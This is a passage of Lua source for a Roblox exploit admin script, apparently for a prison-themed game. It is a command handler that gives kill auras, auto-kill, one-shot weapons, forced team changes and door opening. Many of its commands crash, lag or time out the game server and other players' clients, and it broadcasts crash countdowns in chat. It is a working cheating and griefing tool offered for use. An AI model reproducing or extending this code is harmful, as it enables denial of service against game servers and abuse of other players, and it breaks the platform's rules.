Notif("OK", "Toggled anti-punch to " .. tostring(Toggles.AntiPunch) .. ".")
elseif cm("arrestback") or cm("arb") then
Toggles.ArrestBack = not Toggles.ArrestBack
if Args[2] == "on" or Args[2] == "true" then
Toggles.ArrestBack = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.ArrestBack = false
end
Notif("OK", "Toggled arrest-back to " .. tostring(Toggles.ArrestBack) ..
".")
if Toggles.ArrestBack then
Threads.ArrestBack()
end
elseif cm("meleetouch") or cm("mtouch") then
Toggles.MeleeTouch = not Toggles.MeleeTouch
if Args[2] == "on" or Args[2] == "true" then
Toggles.MeleeTouch = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.MeleeTouch = false
end
Notif("OK", "Turned on melee-touch.")
elseif cm("unmeleetouch") or cm("unmtouch") then
Toggles.MeleeTouch = false
Notif("OK", "Turned off melee-touch.")
elseif cm("meleeaura") or cm("maura") then
Toggles.MeleeAura = not Toggles.MeleeAura
if Args[2] == "on" or Args[2] == "true" then
Toggles.MeleeAura = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.MeleeAura = false
end
Notif("OK", "Toggled melee-aura to " .. tostring(Toggles.MeleeAura) .. ".")
elseif cm("unmeleeaura") or cm("unmaura") then
Toggles.MeleeAura = false
Notif("OK", "Toggled melee-aura to false.")
elseif cm("teamkillaura") or cm("tkillaura") or cm("tka") then
local ar = Args[2]
if ar == "inmate" or ar == "inmates" or ar == "in" then
Toggles.TKA.Inmate = true
Notif("OK", "Turned on killaura to inmates.")
elseif ar == "guard" or ar == "guards" or ar == "gu" then
Toggles.TKA.Guard = true
Notif("OK", "Turned on killaura to guards.")
elseif ar == "criminal" or ar == "criminals" or ar == "cr" then
Toggles.TKA.Criminal = true
Notif("OK", "Turned on killaura to criminals")
elseif ar == "enemies" or ar == "others" or ar == "other" then
Toggles.TKA.Enemies = true
Notif("OK", "Turned on killaura to other teams")
else
Notif("Error", "Not a valid team or argument(s)")
end
elseif cm("untkillaura") or cm("unteamkillaura") or cm("untka") then
local e = Args[2]
if e == "all" then
Toggles.TKA.Guard = false
Toggles.TKA.Inmate = false
Toggles.TKA.Criminal = false
Toggles.TKA.Enemies = false
Notif("OK", "Stopped team-killaura")
elseif e == "inmate" or e == "inmates" or e == "in" then
Toggles.TKA.Inmate = false
Notif("OK", "Turned off killaura to inmates.")
elseif e == "guard" or e == "guards" or e == "gu" then
Toggles.TKA.Guard = false
Notif("OK", "Turned off killaura to guards.")
elseif e == "criminal" or e == "criminals" or e == "cr" then
Toggles.TKA.Criminal = false
Notif("OK", "Turned off killaura to criminals.")
elseif e == "enemies" or e == "other" or e == "others" then
Toggles.TKA.Enemies = false
Notif("OK", "Turned off killaura to other teams.")
else
Notif("Error", "Not a valid team or argument(s)")
end
elseif cm("killaura") or cm("kaura") or cm("aurakill") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer == LocalPlayer then
Powers.Killauras[LocalPlayer.UserId] = LocalPlayer
Notif("OK", "Turned on killaura.")
elseif DaPlayer then
Powers.Killauras[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave " .. DaPlayer.Name .. " killaura.")
else
if Args[2] == "random" then
local randomplr = GetRandomPlr()
Powers.Killauras[randomplr.UserId] = randomplr
Notif("OK", "Gave " .. randomplr.Name .. " killaura.")
else
Notif("Error", "Not a valid player.")
end
end
elseif cm("virus") or cm("antitouch") or cm("killtouch") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
local ar = Args[2]
if DaPlayer == LocalPlayer then
Powers.Antitouch[LocalPlayer.UserId] = LocalPlayer
Notif("OK", "Turned on kill-touch")
elseif DaPlayer then
Powers.Antitouch[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave " .. DaPlayer.Name .. " Kill-touch.")
else
if ar == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v and v.UserId then
Powers.Antitouch[v.UserId] = v
end
end
Notif("OK", "Gave everyone Kill-touch")
elseif ar == "random" then
local randomplr = GetRandomPlr()
Powers.Antitouch[randomplr.UserId] = randomplr
Notif("OK", "Gave " .. randomplr.Name .. " Kill-touch")
else
Notif("Error", "Not a valid player(s)")
end
end
elseif cm("unkillaura") or cm("unkaura") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer == LocalPlayer then
Powers.Killauras[LocalPlayer.UserId] = nil
Notif("OK", "Turned off killaura")
elseif DaPlayer then
Powers.Killauras[DaPlayer.UserId] = nil
Notif("OK", "Removed " .. DaPlayer.Name .. "'s killaura.")
else
if Args[2] == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v and Powers.Killauras[v.UserId] then
Powers.Killauras[v.UserId] = nil
end
end
Notif("OK", "Removed everyone's killaura.")
else
Notif("Error", "Not a valid player(s)")
end
end
elseif cm("unvirus") or cm("unantitouch") or cm("unkilltouch") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer == LocalPlayer then
Powers.Antitouch[LocalPlayer.UserId] = nil
Notif("OK", "Turned off kill-touch")
elseif DaPlayer then
Powers.Antitouch[DaPlayer.UserId] = nil
Notif("OK", "Removed " .. DaPlayer.Name .. "'s kill-touch.")
else
if Args[2] == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v and Powers.Antitouch[v.UserId] then
Powers.Antitouch[v.UserId] = nil
end
end
Notif("OK", "Removed everyone's kill-touch")
else
Notif("Error", "Not a valid player(s)")
end
end
elseif cm("launchnuke") or cm("nukelaunch") or cm("lnuke") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if not DaPlayer and Args[2] == "random" then
DaPlayer = GetRandomPlr()
end
if DaPlayer then
local a, b = Args[3] and tonumber(Args[3]), Args[4] and
tonumber(Args[4])
Tasks.LaunchNuke(DaPlayer, a, b)
else
Notif("Error", "Not a valid player.")
end
elseif cm("deathnuke") or cm("dnuke") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Powers.DeathNuke[DaPlayer.UserId] = DaPlayer
Notif("OK", "Now " .. DaPlayer.Name .. " is a deathnuke.")
Chat("WARNING!!! " .. DaPlayer.Name .. " IS NOW TURNED INTO A
DEATHNUKE, IF THEY DIE, EVERYONE DIES!!!")
end
if Args[2] == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v and v.Character then
Powers.DeathNuke[v.UserId] = v
end
end
Notif("OK", "Everyone is now a deathnuke.")
Chat("WARNING!!! EVERYONE IS A DEATHNUKE! IF ANYONE DIES, EVERYONE
DIES!!!")
elseif Args[2] == "random" then
local rando = GetRandomPlr()
Powers.DeathNuke[rando.UserId] = rando
Notif("OK", "Now " .. rando.Name .. " is a deathnuke.")
Chat("WARNING!!! " .. rando.Name .. " IS NOW TURNED INTO A DEATHNUKE,
IF THEY DIE, EVERYONE DIES!!!")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
if not Saved.Thread.DeathNukes then
Threads.DeathNukes()
end
elseif cm("undeathnuke") or cm("clearnuke") or cm("undnuke") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Powers.DeathNuke[DaPlayer.UserId] = nil
Notif("OK", "Cleared deathnuke from " .. DaPlayer.Name .. ".")
Chat(DaPlayer.Name .. " IS NO LONGER A DEATHNUKE!")
end
if Args[2] == "all" then
Powers.DeathNuke = {}
Notif("OK", "Removed deathnuke from all players")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("crashnuke") or cm("cnuke") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer or Args[2] == "random" then
Notif("WARNING", "YOU CANNOT UNDO THIS ACTION.", 5)
if not DaPlayer and Args[2] == "random" then
DaPlayer = GetRandomPlr()
end
task.spawn(function()
Chat("WARNING!!! THE SERVER WILL BE CRASHED IF " ..
tostring(DaPlayer.DisplayName) .. " DIES!!!")
repeat
task.wait()
until DaPlayer.Character and
DaPlayer.Character:FindFirstChildOfClass("Humanoid").Health == 0
Chat("WARNING!!! " .. tostring(DaPlayer.DisplayName) .. " IS
DEAD!!! THE SERVER WILL BE CRASHED IN 5 SECOND(S)")
wait(1.5)
Chat("THE SERVER WILL CRASH IN 4 SECOND(S)")
wait(1.5)
Chat("THE SERVER WILL CRASH IN 3 SECOND(S)")
wait(1.5)
Chat("THE SERVER WILL CRASH IN 2 SECOND(S)")
wait(1.5)
Chat("THE SERVER WILL CRASH IN 1 SECOND(s)")
wait(0.7)
Chat("SAY YOUR LAST GOODBYES BEFORE THE SERVER CRASHES!!!")
wait(0.3)
CrashMethod("servercrash")
end)
else
Notif("Error", "Not a valid player.")
end
elseif cm("detroit") or cm("ohio") then
if not States.OhioMode then
States.OhioMode = true
Tasks.OhioMode()
end
Chat("!!! OHIO-MODE ACTIVATED! EVERYONE WILL DIE WHEN SOMEONE DIES! !!!")
Notif("Skibidi toilet", "ohio skibidi rizzler brainrot activated!")
elseif cm("undetroit") or cm("unohio") then
States.OhioMode = false
Notif("OK", "Stopped ohio skibidi rizzler brainrot mode")
elseif cm("autokill") or cm("akill") or cm("akl") then
local ar = Args[2] and Args[2]:lower()
if ar == "hostile" or ar == "hostiles" or ar == "hos" then
Tasks.AutoKill("hostile")
Notif("OK", "Automatically killing hostile player(s)")
elseif ar == "shielduser" or ar == "shieldusers" or ar == "shields" then
Tasks.AutoKill("shielduser")
Notif("OK", "Automatically killing shield users.")
elseif ar == "handcuffer" or ar == "cuffer" then
Tasks.AutoKill("handcuffer")
Notif("OK", "Automatically killing handcuff users.")
elseif ar == "taser" or ar == "tasers" then
Tasks.AutoKill("taser")
Notif("OK", "Automatically killing taser users.")
end
elseif cm("unautokill") or cm("unakill") or cm("unakl") then
local ar = Args[2] and Args[2]:lower()
if ar == "hostile" or ar == "hostiles" or ar == "hos" then
States.KillHostile = false
Notif("OK", "Stopped kill hostiles.")
elseif ar == "shielduser" or ar == "shields" or ar == "shieldusers" then
States.KillShielduser = false
Notif("OK", "Stopped kill shield users.")
elseif ar == "handcuffer" or ar == "cuffer" then
States.KillHandcuffer = false
Notif("OK", "Stopped kill handcuff users.")
elseif ar == "taser" or ar == "tasers" then
States.KillTaser = false
Notif("OK", "Stopped kill taser users.")
elseif ar == "all" then
States.KillHostile = nil
States.KillShielduser = nil
States.KillHandcuffer = nil
States.KillTaser = nil
Notif("OK", "Stopped auto-killing all.")
end
elseif cm("opendoors") or cm("open") or cm("odoors") then
if #Teams.Guards:GetPlayers() > 7 and LocalPlayer.TeamColor ~=
BrickColor.new("Bright blue") then
Notif("Error", "Guards team full!")
else
if Args[2] == "true" or Args[2] == "gate" or Args[2] == "g" or Args[2]
== "1" then
OpenDoors(true)
Notif("OK", "Opened doors/gate")
else
OpenDoors()
Notif("OK", "Opened doors.")
end
end
elseif cm("loopopendoors") or cm("loopdoors") then
if not Saved.Thread.LoopOpenDoors then
task.spawn(function()
while true do
if not (LocalPlayer.TeamColor == BrickColor.new("Bright blue"))
then
SavedArgs.OldTeamOpenDoor = LocalPlayer.TeamColor
TeamTo("guard")
end
OpenDoors()
wait(1)
if not Saved.Thread.LoopOpenDoors then
break
end
end
end)
Saved.Thread.LoopOpenDoors = true
Notif("OK", "Now loop-opening all doors.")
else
Notif("Error", "Already opening doors. Type " .. Prefix .. "unloopdoors
to disable.")
end
elseif cm("unloopopendoors") or cm("unloopdoors") then
Saved.Thread.LoopOpenDoors = false
wait(0.2)
if SavedArgs.OldTeamOpenDoor then
if SavedArgs.OldTeamOpenDoor == BrickColor.new("Bright orange") then
TeamTo("inmate")
elseif SavedArgs.OldTeamOpenDoor == BrickColor.new("Really red") then
TeamTo("criminal")
end
end
SavedArgs.OldTeamOpenDoor = nil
Notif("OK", "Stopped loop-opening all doors.")
elseif cm("view") or cm("spectate") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if not DaPlayer and Args[2] == "random" then
DaPlayer = GetRandomPlr()
end
if DaPlayer == LocalPlayer then
States.Viewing = false
task.wait(0.1)
Rstep:Wait()
workspace.CurrentCamera.CameraSubject =
LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
Notif("OK", "Stopped viewing")
elseif DaPlayer then
if States.Viewing then
States.Viewing = false
wait(0.2)
end
States.Viewing = true
Notif("OK", "Now spectating " .. DaPlayer.Name .. ".")
task.spawn(function()
while States.Viewing do
task.wait(0.1)
if not Players:FindFirstChild(DaPlayer.Name) then
Notif("Player left.", "View is turned off.")
Saved.Thread.ViewPlayer = nil
workspace.CurrentCamera.CameraSubject =
LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
break
else
local human = DaPlayer.Character and
DaPlayer.Character:FindFirstChildOfClass("Humanoid")
if human then
workspace.CurrentCamera.CameraSubject = human
end
end
end
end)
else
Notif("Error", "Not a valid player.")
end
elseif cm("unview") or cm("unspectate") then
States.Viewing = false
task.wait(0.1)
Rstep:Wait()
workspace.CurrentCamera.CameraSubject =
LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
Notif("OK", "Stopped viewing player.")
elseif cm("copyteam") or cm("antilk") or cm("ct") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
if States.CopyingTeam then
Connections.CopyTeamLP:Disconnect()
Connections.CopyTeamPL:Disconnect()
end
Notif("OK", "Copying " .. DaPlayer.Name .. "'s Team.")
States.CopyingTeam = true
task.spawn(function()
local plr = DaPlayer
if Loops.Kill[plr.UserId] then
Loops.Kill[plr.UserId] = nil
Loops.MeleeKill[plr.UserId] = plr
Notif("Loopkill switched.", "Now melee-killing " .. plr.Name ..
".")
end
if LocalPlayer.TeamColor ~= plr.TeamColor then
if plr.TeamColor == BrickColor.new("Bright blue") then
TeamTo("guard")
elseif plr.TeamColor == BrickColor.new("Bright orange") then
TeamTo("inmate")
elseif plr.TeamColor == BrickColor.new("Really red") then
TeamTo("criminal")
else
TeamEve("Medium stone grey")
end
end
Connections.CopyTeamLP =
LocalPlayer:GetPropertyChangedSignal("Team"):Connect(function()
if LocalPlayer.TeamColor ~= plr.TeamColor then
if plr.TeamColor == BrickColor.new("Bright blue") then
TeamTo("guard")
elseif plr.TeamColor == BrickColor.new("Bright orange")
then
TeamTo("inmate")
elseif plr.TeamColor == BrickColor.new("Really red") then
TeamTo("criminal")
else
TeamEve("Medium stone grey")
end
end
end)
Connections.CopyTeamPL =
plr:GetPropertyChangedSignal("Team"):Connect(function()
if plr.TeamColor ~= LocalPlayer.TeamColor then
if plr.TeamColor == BrickColor.new("Bright blue") then
TeamTo("guard")
elseif plr.TeamColor == BrickColor.new("Bright orange")
then
TeamTo("inmate")
elseif plr.TeamColor == BrickColor.new("Really red") then
TeamTo("criminal")
else
TeamEve("Medium stone grey")
end
end
end)
end)
else
Notif("Error", "Not a valid player.")
end
elseif cm("uncopyteam") or cm("unantilk") or cm("unct") then
if States.CopyingTeam then
Connections.CopyTeamPL:Disconnect()
Connections.CopyTeamLP:Disconnect()
Connections.CopyTeamPL = nil
Connections.CopyTeamLP = nil
end
States.CopyingTeam = false
Notif("OK", "Stopped copying team.")
elseif cm("team") or cm("t") then
local augh = Args[2] and Args[2]:lower()
if augh == "inmate" or augh == "inmates" or augh == "in" then
TeamTo("inmate")
Notif("OK", "Changed team to inmate.")
elseif augh == "guard" or augh == "guards" or augh == "gu" then
if #Teams.Guards:GetPlayers() > 7 then
Notif("Error", "Guards team full!")
return
end
TeamTo("guard")
Notif("OK", "Changed team to guard.")
elseif augh == "criminal" or augh == "criminals" or augh == "cr" then
TeamTo("criminal")
Notif("OK", "Changed team to criminal.")
elseif augh == "neutral" or augh == "neutrals" or augh == "ne" then
TeamEve("Medium stone grey")
Notif("OK", "Changed team to neutral.")
elseif augh == "random" then
local meth = math.random(1, 4)
if meth == 1 then
TeamTo("inmate")
elseif meth == 2 then
TeamTo("guard")
elseif meth == 3 then
TeamTo("criminal")
elseif meth == 4 then
TeamEve("Medium stone grey")
end
Notif("OK", "Changed team to " .. LocalPlayer.TeamColor.Name .. ".")
else
Notif("Error", "Not a valid team.")
end
elseif cm("inmate") or cm("inmates") or cm("in") then
TeamTo("inmate")
Notif("OK", "Changed team to inmate.")
elseif cm("guard") or cm("guards") or cm("gu") then
if #Teams.Guards:GetPlayers() > 7 then
Notif("Error", "Guards team full!")
return
end
TeamTo("guard")
Notif("OK", "Changed team to guard.")
elseif cm("criminal") or cm("criminals") or cm("cr") then
TeamTo("criminal")
Notif("OK", "Changed team to criminal.")
elseif cm("neutral") or cm("neutrals") or cm("ne") then
TeamEve("Medium stone grey")
Notif("OK", "Changed team to neutral.")
elseif cm("anticrash") or cm("antispike") or cm("ac") then
LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = not
LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled
if Args[2] == "true" or Args[2] == "on" then
LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = true
elseif Args[2] == "false" or Args[2] == "off" then
LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = false
end
if LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled then
Notif("OK", "Toggled anti-crash to true.")
else
Notif("OK", "Toggled anti-crash to false.")
end
elseif cm("antievent") or cm("aevents") then
States.AntiEvent = not States.AntiEvent
if Args[2] == "true" or Args[2] == "on" then
States.AntiEvent = true
elseif Args[2] == "false" or Args[2] == "off" then
States.AntiEvent = false
end
if States.AntiEvent then
States.ReplicateEvent = false
LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = true
Notif("OK", "Toggled anti-event to true (Some commands will break!)")
if getconnections then
for i, v in
pairs(getconnections(Rstorage.ReplicateEvent.OnClientEvent)) do
v:Disable()
end
else
Notif("Error", "Executor is too shitty!")
end
else
Notif("OK", "Toggled anti-crash to false")
States.ReplicateEvent = true
LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = false
if getconnections then
for i, v in
pairs(getconnections(Rstorage.ReplicateEvent.OnClientEvent)) do
v:Enable()
end
end
end
elseif cm("laggygun") or cm("laggun") then
LAction("unequip")
Toggles.AutoInfiniteAmmo = false
Gun("Remington 870")
LAction("equip", LocalPlayer.Backpack:WaitForChild("Remington 870"))
local remin = LocalPlayer.Character:FindFirstChild("Remington 870")
remin.Name = "Lag-Gun"
local sta = require(remin.GunStates)
sta.AutoFire = true
sta.Spread = math.huge
sta.Damage = 9e9
sta.Range = math.huge
sta.AmmoPerClip = math.huge
sta.MaxAmmo = math.huge
sta.StoredAmmo = math.huge
sta.CurrentAmmo = math.huge
sta.FireRate = 0
sta.Bullets = tonumber(Args[2]) or 169
Notif("OK", "Obtained Lag-Gun. (Auto-infammo disabled.)")
elseif cm("lastresort") or cm("lresort") then
Notif("OK", "Initiating last-resort...")
CrashMethod("lastresort")
elseif cm("crashkill") or cm("killcrash") or cm("kcl") then
local DaPlayer = PlrFromArgs(Args[2], GetRandomPlr())
if DaPlayer then
CrashMethod("crashkill", DaPlayer)
Notif("OK", "Crash killed " .. DaPlayer.Name .. ".")
else
Notif("Error", "Not a valid player/Unspecified argument.")
end
elseif cm("servercrash") or cm("svcrash") or cm("crashserver") then
Notif("OK", "Attempting to crash server...")
CrashMethod("servercrash")
elseif cm("timeout") or cm("lagout") then
Notif("OK", "Attempting to timeout the server.")
CrashMethod("timeout")
elseif cm("time") or cm("tick") then
States.StoppingTime = not States.StoppingTime
if Args[2] == "stop" or Args[2] == "pause" then
States.StoppingTime = true
elseif Args[2] == "play" or Args[2] == "resume" then
States.StoppingTime = false
end
if States.StoppingTime then
Notif("Stopping time...", "Warning! leaving this ON for a period of
time will crash the server!")
CrashMethod("timestop")
else
Notif("OK", "Resumed time.")
end
elseif cm("tasercrash") or cm("tsrcrash") then
Notif("OK", "Attempting taser-crash...")
CrashMethod("tasercrash")
elseif cm("serverspike") or cm("svspike") then
local num = Args[2] and tonumber(Args[2])
CrashMethod("serverspike", num)
Notif("Successful", "Lag-spiked server.")
elseif cm("serverlag") or cm("svlag") or cm("slag") then
local nana = tonumber(Args[2])
CrashMethod("serverlag", nana)
Notif("OK", "Lagging server with a strength of " .. tostring(nana) .. ".")
elseif cm("unserverlag") or cm("unsvlag") or cm("unslag") then
States.LaggingServer = false
Notif("OK", "Stopped lagging the server.")
elseif cm("itemlag") or cm("ilag") then
local getwifianywhereyougo = Args[2] and tonumber(Args[2]) or 10
Notif("OK", "Item-lagging everyone with interval: " ..
tostring(getwifianywhereyougo) .. ".")
CrashMethod("itemlag", getwifianywhereyougo)
elseif cm("forcecrash") or cm("fcrash") then
CrashMethod("forcecrash")
Notif("OK", "Forced crash player(s).")
elseif cm("loopforcecrash") or cm("loopfcrash") or cm("lfcrash") then
if not Saved.Thread.LoopingForceLag then
Saved.Thread.LoopingForceLag = true
Notif("OK", "Loop-forcing player crash.")
task.spawn(function()
while Saved.Thread.LoopingForceLag do
task.wait()
CrashMethod("forcecrash")
end
end)
else
Notif("Error", "Already forcing crash.")
end
elseif cm("unloopforcecrash") or cm("unloopfcrash") or cm("unlfcrash") then
Saved.Thread.LoopingForceLag = false
Notif("OK", "Stopped forcing crash.")
elseif cm("formidicrash") or cm("fmcrash") then
CrashMethod("formidicrash")
Notif("OK", "Formidi crash all player(s).")
elseif cm("loadcrash") then
Notif("OK", "Preparing crash events...")
SavedArgs.LoadedCrashEvents = false
if not SavedArgs.LoadedCrashEvents then
SavedArgs.LoadedCrashEvents = true
for i = 1, 100000 do
local lp, bp = LocalPlayer.Character.HumanoidRootPart.Position,
workspace:FindFirstChildOfClass("Part").Position * Vector3.new(math.random(1, 69),
math.random(1, 69), math.random(1, 69))
Saved.PCEvents[#Saved.PCEvents + 1] = {
Hit = nil,
Cframe = CFrame.new(bp, lp) * CFrame.new(0, 0, -(lp -
bp).Magnitude / 2),
Distance = (lp - bp).Magnitude,
RayObject = Ray.new(lp, (bp - lp).unit * 9e9),
}
end
task.wait(0.04)
Hbeat:Wait()
for i = 1, 24900 do
local lp, bp = LocalPlayer.Character.HumanoidRootPart.Position,
workspace:FindFirstChildOfClass("Part").Position * Vector3.new(math.random(1, 69),
math.random(1, 69), math.random(1, 69))
Saved.PCEvents[#Saved.PCEvents + 1] = {
Hit = nil,
Cframe = CFrame.new(bp, lp) * CFrame.new(0, 0, -(lp -
bp).Magnitude / 2),
Distance = (lp - bp).Magnitude,
RayObject = Ray.new(lp, (bp - lp).unit * 9e9),
}
end
task.wait(0.05)
Hbeat:Wait()
end
Notif("OK", "Done")
elseif cm("eventcrash") or cm("ecrash") then
Toggles.AutoGuns = false
Toggles.AutoItems = false
Notif("MEMORY WARNING!!!", "Your ROBLOX Client will run out of memory and
CRASH!!!", 10)
CrashMethod("eventcrash")
elseif cm("espamlag") or cm("elag") then
local ar = Args[2] or 1699
local numb = tonumber(ar)
CrashMethod("eventlag", numb)
Notif("Successful", "Spammed lag everyone.")
elseif cm("spike") or cm("freeze") then
Notif("OK", "Lag-Spiking everyone (Only works on potato devices)")
if Args[2] then
CrashMethod("soundlag", tonumber(Args[2]))
else
CrashMethod("soundlag")
end
elseif cm("loot") or cm("pinata") then
if not States.Pooping then
States.Pooping = true
Notif("OK", "Now pooping out free loot.")
task.spawn(function()
while States.Pooping do
if LocalPlayer.TeamColor ~= BrickColor.new("Bright blue") then
if #Teams.Guards:GetPlayers() < 8 then
TeamTo("guard")
else
Notif("Error", "Guards team full!")
break
end
else
LAction("died")
LocalPlayer.CharacterAdded:Wait()
end
task.wait(0.8)
end
States.Pooping = false
end)
else
Notif("Error", "You are already pooping loot.")
end
elseif cm("unloot") or cm("unpinata") then
States.Pooping = false
Notif("OK", "Stopped pooping loot.")
elseif cm("givekey") or cm("gkey") or cm("givecard") or cm("gcard") or
cm("key") or cm("cardkey") or cm("keycard") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
if #Teams.Guards:GetPlayers() > 7 and LocalPlayer.TeamColor ~=
BrickColor.new("Bright blue") then
Notif("Error", "Guards team full!")
else
GiveKeyCard(DaPlayer)
Notif("OK", "Gave " .. DaPlayer.Name .. " key card.")
end
else
Notif("Error", "Not a valid player.")
end
elseif cm("autokey") or cm("autocard") or cm("autokeycard") then
Toggles.AutoCard = not Toggles.AutoCard
if Args[2] == "on" or Args[2] == "true" then
Toggles.AutoCard = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AutoCard = false
end
if Toggles.AutoCard then
Notif("OK", "Auto-keycard is now true.")
task.spawn(function()
while Toggles.AutoCard do
wait()
pcall(function()
if LocalPlayer.Character and not
(LocalPlayer.Character:FindFirstChild("Key card") or
LocalPlayer.Backpack:FindFirstChild("Key card")) then
RTPing()
RTPing()
GiveKeyCard(LocalPlayer)
end
end)
end
end)
else
Notif("OK", "Auto-keycard is now false.")
end
elseif cm("givecmds") or cm("gcmds") or cm("gcmd") or cm("giveadmin") or
cm("admin") or cm("rank") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
RankedPlrs[DaPlayer.UserId] = DaPlayer
Chat("You have been given commands, type " .. Prefix .. "cmds to show a
list of commands", DaPlayer)
end
if Args[2] == "all" then
for i, v in pairs(Players:GetPlayers()) do
if not RankedPlrs[v.UserId] then
RankedPlrs[v.UserId] = v
end
end
Chat("[MrBeast]: EVERYONE HAS BEEN GIVEN CMDS! Type " .. Prefix ..
"cmds to show a list of commands.")
elseif Args[2] == "random" then
local randomplr = GetRandomPlr(LocalPlayer)
if not RankedPlrs[randomplr.UserId] then
RankedPlrs[randomplr.UserId] = randomplr
Chat("You have been given commands, type " .. Prefix .. "cmds to
show a list of commands", randomplr)
else
randomplr = GetRandomPlr(LocalPlayer)
RankedPlrs[randomplr.UserId] = randomplr
Chat("You have been given commands, type " .. Prefix .. "cmds to
show a list of commands", randomplr)
end
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("revokecmds") or cm("rcmds") or cm("rcmd") or cm("removeadmin") or
cm("unadmin") or cm("unrank") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
RankedPlrs[DaPlayer.UserId] = nil
Chat("Your commands have been revoked, you no longer have access to
commands.", DaPlayer)
end
if Args[2] == "all" then
RankedPlrs = nil
RankedPlrs = {}
Chat("EVERYONE's COMMANDS HAS BEEN REVOKED! YOU CAN NO LONGER USE
COMMANDS.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("whitelist") or cm("wl") or cm("ignore") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Whitelisted[DaPlayer.UserId] = DaPlayer
Notif("OK", "Whitelisted " .. DaPlayer.Name .. ".")
else
Notif("Error", "Not a valid player.")
end
elseif cm("unwhitelist") or cm("unwl") or cm("unignore") or cm("blacklist")
then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
Whitelisted[DaPlayer.UserId] = nil
Notif("OK", "Blacklisted " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Whitelisted = nil
Whitelisted = {}
Notif("OK", "Removed all whitelisted player(s)")
elseif not DaPlayer then
Notif("Error", "Not a valid player.")
end
elseif cm("givepower") or cm("gpw") then
local DaPlayer = PlrFromArgs(Args[2], false)
local ar = Args[3]
if DaPlayer then
if not ar then
Notif("Error", "Not a valid argument. (Example usage: " ..
Prefix .. "givepower [Playername] antishoot)")
end
if ar == "antishoot" or ar == "as" then
Powers.Antishoot[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave anti-shoot to " .. DaPlayer.Name .. ".")
elseif ar == "antipunch" or ar == "apunch" or ar == "ap" then
Powers.Antipunch[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave anti-punch to " .. DaPlayer.Name .. ".")
elseif ar == "antiarrest" or ar == "aar" then
Powers.Antiarrest[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave anti-arrest to " .. DaPlayer.Name .. ".")
elseif ar == "friendlyfire" or ar == "ffire" then
Powers.FriendlyFire[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave friendly-fire to " .. DaPlayer.Name .. ".")
elseif ar == "punchaura" or ar == "paura" then
Powers.Punchaura[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave punch-aura to " .. DaPlayer.Name .. ".")
elseif ar == "oneshot" or ar == "oshot" then
Powers.Oneshot[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave one-shot to " .. DaPlayer.Name .. ".")
elseif ar == "onepunch" or ar == "opunch" then
Powers.Onepunch[DaPlayer.UserId] = DaPlayer
Notif("OK", "Gave one-punch to " .. DaPlayer.Name .. ".")
else
Notif("Error", "Not a valid power. Please check from the list.")
end
else
Notif("Error", "Not a valid player")
end
elseif cm("removepower") or cm("rpw") then
local DaPlayer = PlrFromArgs(Args[2], false)
local ar = Args[3]
if DaPlayer then
if ar == "antishoot" or ar == "as" then
Powers.Antishoot[DaPlayer.UserId] = nil
Notif("OK", "Removed anti-shoot from " .. DaPlayer.Name .. ".")
elseif ar == "antipunch" or ar == "apunch" then
Powers.Antipunch[DaPlayer.UserId] = nil
Notif("OK", "Removed anti-punch from " .. DaPlayer.Name .. ".")
elseif ar == "antiarrest" or ar == "aar" then
Powers.Antiarrest[DaPlayer.UserId] = nil
Notif("OK", "Removed anti-arrest from " .. DaPlayer.Name .. ".")
elseif ar == "friendlyfire" or ar == "ffire" then
Powers.FriendlyFire[DaPlayer.UserId] = nil
Notif("OK", "Removed friendly-fire from " .. DaPlayer.Name .. ".")
elseif ar == "punchaura" or ar == "paura" then
Powers.Punchaura[DaPlayer.UserId] = nil
Notif("OK", "Removed punch-aura from " .. DaPlayer.Name .. ".")
elseif ar == "oneshot" or ar == "oshot" then
Powers.Oneshot[DaPlayer.UserId] = nil
Notif("OK", "Removed one-shot from " .. DaPlayer.Name .. ".")
